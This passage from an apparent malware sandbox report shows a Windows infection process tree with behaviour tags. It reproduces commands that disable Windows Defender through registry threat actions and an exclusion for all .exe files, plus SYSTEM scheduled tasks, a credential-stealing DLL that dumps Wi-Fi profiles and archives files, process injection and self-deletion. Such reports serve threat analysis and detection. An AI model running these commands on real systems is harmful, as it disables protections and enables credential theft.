                                                                            10⤵
                                                                              PID:6668
                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                          forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                          8⤵
                                                                            PID:2576
                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                              9⤵
                                                                                PID:6976
                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                  10⤵
                                                                                    PID:6684
                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                8⤵
                                                                                  PID:2768
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                    9⤵
                                                                                      PID:1720
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                        10⤵
                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                        PID:5100
                                                                                        • C:\Windows\SysWOW64\gpupdate.exe
                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                          11⤵
                                                                                            PID:6068
                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                                    7⤵
                                                                                      PID:3888
                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                        8⤵
                                                                                          PID:6472
                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                            9⤵
                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                            PID:6896
                                                                                            • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                              10⤵
                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                              PID:6776
                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                        schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 14:09:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSAC3E.tmp\Install.exe\" Wt /BuNdidcmjT 385118 /S" /V1 /F
                                                                                        7⤵
                                                                                        • Drops file in Windows directory
                                                                                        • Creates scheduled task(s)
                                                                                        PID:7136
                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
                                                                                        7⤵
                                                                                          PID:2308
                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                            /C schtasks /run /I /tn biPxHmULFllsbMgnpt
                                                                                            8⤵
                                                                                              PID:6428
                                                                                              • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                                schtasks /run /I /tn biPxHmULFllsbMgnpt
                                                                                                9⤵
                                                                                                  PID:6784
                                                                                        • C:\Users\Admin\Pictures\TX2KEVA7TCtavqxBFtpJ0sDp.exe
                                                                                          "C:\Users\Admin\Pictures\TX2KEVA7TCtavqxBFtpJ0sDp.exe"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:5252
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSD33E.tmp\Install.exe
                                                                                            .\Install.exe /WkfdidVYT "385118" /S
                                                                                            6⤵
                                                                                            • Checks BIOS information in registry
                                                                                            • Checks computer location settings
                                                                                            • Executes dropped EXE
                                                                                            • Enumerates system info in registry
                                                                                            PID:6140
                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                              7⤵
                                                                                                PID:6452
                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                  8⤵
                                                                                                    PID:7128
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                      9⤵
                                                                                                        PID:6268
                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                          10⤵
                                                                                                            PID:6680
                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                        8⤵
                                                                                                          PID:7068
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                            9⤵
                                                                                                              PID:3272
                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                10⤵
                                                                                                                  PID:5500
                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                              8⤵
                                                                                                                PID:944
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                  9⤵
                                                                                                                    PID:6984
                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                      10⤵
                                                                                                                        PID:6976
                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                    8⤵
                                                                                                                      PID:3520
                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                        9⤵
                                                                                                                          PID:5764
                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                            10⤵
                                                                                                                              PID:5660
                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                          8⤵
                                                                                                                            PID:3908
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                              9⤵
                                                                                                                                PID:668
                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                  10⤵
                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                  PID:5492
                                                                                                                                  • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                    11⤵
                                                                                                                                      PID:6708
                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                        12⤵
                                                                                                                                          PID:4280
                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                                                                                7⤵
                                                                                                                                  PID:6360
                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                    8⤵
                                                                                                                                      PID:6760
                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                        9⤵
                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                        PID:6968
                                                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                                                          10⤵
                                                                                                                                            PID:444
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "biPxHmULFllsbMgnpt" /SC once /ST 14:09:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSD33E.tmp\Install.exe\" Wt /SOudidBEWF 385118 /S" /V1 /F
                                                                                                                                      7⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:6812
                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn biPxHmULFllsbMgnpt"
                                                                                                                                      7⤵
                                                                                                                                        PID:6524
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          /C schtasks /run /I /tn biPxHmULFllsbMgnpt
                                                                                                                                          8⤵
                                                                                                                                            PID:1244
                                                                                                                                            • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                                                                              schtasks /run /I /tn biPxHmULFllsbMgnpt
                                                                                                                                              9⤵
                                                                                                                                                PID:6264
                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
                                                                                                                                    3⤵
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    PID:5236
                                                                                                                                    • C:\Windows\system32\rundll32.exe
                                                                                                                                      "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
                                                                                                                                      4⤵
                                                                                                                                      • Blocklisted process makes network request
                                                                                                                                      • Loads dropped DLL
                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                      PID:5268
                                                                                                                                      • C:\Windows\system32\netsh.exe
                                                                                                                                        netsh wlan show profiles
                                                                                                                                        5⤵
                                                                                                                                          PID:5312
                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\818691465304_Desktop.zip' -CompressionLevel Optimal
                                                                                                                                          5⤵
                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          PID:5564
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\1000077001\jfesawdr.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\1000077001\jfesawdr.exe"
                                                                                                                                      3⤵
                                                                                                                                      • Checks computer location settings
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:6112
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
                                                                                                                                        4⤵
                                                                                                                                          PID:5812
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\work.exe
                                                                                                                                            work.exe -priverdD
                                                                                                                                            5⤵
                                                                                                                                            • Checks computer location settings
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            PID:888
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX1\podaw.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX1\podaw.exe"
                                                                                                                                              6⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                              PID:6088
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000079001\gold.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\1000079001\gold.exe"
                                                                                                                                        3⤵
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                        PID:5384
                                                                                                                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                          4⤵
                                                                                                                                            PID:6132
                                                                                                                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                            4⤵
                                                                                                                                              PID:3280
                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                            "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
                                                                                                                                            3⤵
                                                                                                                                            • Blocklisted process makes network request
                                                                                                                                            • Loads dropped DLL
                                                                                                                                            PID:5076
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\1000080001\alexxxxxxxx.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\1000080001\alexxxxxxxx.exe"
                                                                                                                                            3⤵
                                                                                                                                            • Executes dropped EXE
                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                            PID:3736
                                                                                                                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                                                                                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                                                                                                              4⤵
                                                                                                                                              • Checks computer location settings
                                                                                                                                              PID:5860
                                                                                                                                              • C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe
                                                                                                                                                "C:\Users\Admin\AppData\Roaming\configurationValue\trf.exe"
                                                                                                                                                5⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                PID:5284
                                                                                                                                              • C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe
                                                                                                                                                "C:\Users\Admin\AppData\Roaming\configurationValue\keks.exe"
                                                                                                                                                5⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                PID:5000
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
                                                                                                                                                5⤵
                                                                                                                                                  PID:2480
                                                                                                                                                  • C:\Windows\SysWOW64\choice.exe
                                                                                                                                                    choice /C Y /N /D Y /T 3
                                                                                                                                                    6⤵
                                                                                                                                                      PID:5232
                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 3736 -s 332
                                                                                                                                                  4⤵
                                                                                                                                                  • Program crash
                                                                                                                                                  PID:4468
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\1000081001\install.exe
                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\1000081001\install.exe"
                                                                                                                                                3⤵
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Drops file in Program Files directory
                                                                                                                                                PID:6848
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
                                                                                                                                                  4⤵
                                                                                                                                                    PID:1888
                                                                                                                                                    • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                      Sc stop GameServerClient
                                                                                                                                                      5⤵
                                                                                                                                                      • Launches sc.exe
                                                                                                                                                      PID:7024
                                                                                                                                                    • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                      GameService remove GameServerClient confirm
                                                                                                                                                      5⤵
                                                                                                                                                        PID:2772
                                                                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                        Sc delete GameSyncLink
                                                                                                                                                        5⤵
                                                                                                                                                        • Launches sc.exe
                                                                                                                                                        PID:3528
                                                                                                                                                      • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                        GameService remove GameSyncLink confirm
                                                                                                                                                        5⤵
                                                                                                                                                          PID:1788
                                                                                                                                                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                          GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                                                                                                                                                          5⤵
                                                                                                                                                            PID:4356
                                                                                                                                                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                            GameService start GameSyncLink
                                                                                                                                                            5⤵
                                                                                                                                                              PID:5500
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
                                                                                                                                                            4⤵
                                                                                                                                                              PID:6332
                                                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                Sc stop GameServerClientC
                                                                                                                                                                5⤵
                                                                                                                                                                • Launches sc.exe
                                                                                                                                                                PID:5608
                                                                                                                                                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                GameService remove GameServerClientC confirm
                                                                                                                                                                5⤵
                                                                                                                                                                  PID:2908
                                                                                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                  Sc delete PiercingNetLink
                                                                                                                                                                  5⤵
                                                                                                                                                                  • Launches sc.exe
                                                                                                                                                                  PID:2768
                                                                                                                                                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                  GameService remove PiercingNetLink confirm
                                                                                                                                                                  5⤵
                                                                                                                                                                    PID:3388
                                                                                                                                                                  • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                    GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                                                                                                                                                    5⤵
                                                                                                                                                                      PID:4468
                                                                                                                                                                    • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                      GameService start PiercingNetLink
                                                                                                                                                                      5⤵
                                                                                                                                                                        PID:5500
                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:4904
                                                                                                                                                                        • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                                          Sc delete GameSyncLinks
                                                                                                                                                                          5⤵
                                                                                                                                                                          • Launches sc.exe
                                                                                                                                                                          PID:5600
                                                                                                                                                                        • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                          GameService remove GameSyncLinks confirm
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:720
                                                                                                                                                                          • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                            GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                                                                                                                                                            5⤵
                                                                                                                                                                              PID:6820
                                                                                                                                                                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                                                                                                                                                              GameService start GameSyncLinks
                                                                                                                                                                              5⤵
                                                                                                                                                                                PID:4436
                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:5268
                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 860 -ip 860
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:3924
                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:5772
                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:5752
                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 1308 -ip 1308
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:5420
                                                                                                                                                                                • C:\Windows\System32\sihclient.exe
                                                                                                                                                                                  C:\Windows\System32\sihclient.exe /cv 6+IKPYGRBUeFwOk5FVZ08g.0.2
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:1652
                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 1920 -ip 1920
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:4108
                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3736 -ip 3736
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:232
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                                                                                        • Checks BIOS information in registry
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        • Identifies Wine through registry keys
                                                                                                                                                                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                        PID:3188
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\1000069001\NewB.exe
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        PID:6312
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSAC3E.tmp\Install.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\7zSAC3E.tmp\Install.exe Wt /BuNdidcmjT 385118 /S
                                                                                                                                                                                        1⤵
                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                        • Modifies data under HKEY_USERS
                                                                                                                                                                                        PID:6996
                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:3864
                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                              forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:1264
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:5184
                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                        PID:3464
                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:6752
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:1716
                                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                              PID:6880
                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:6916
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
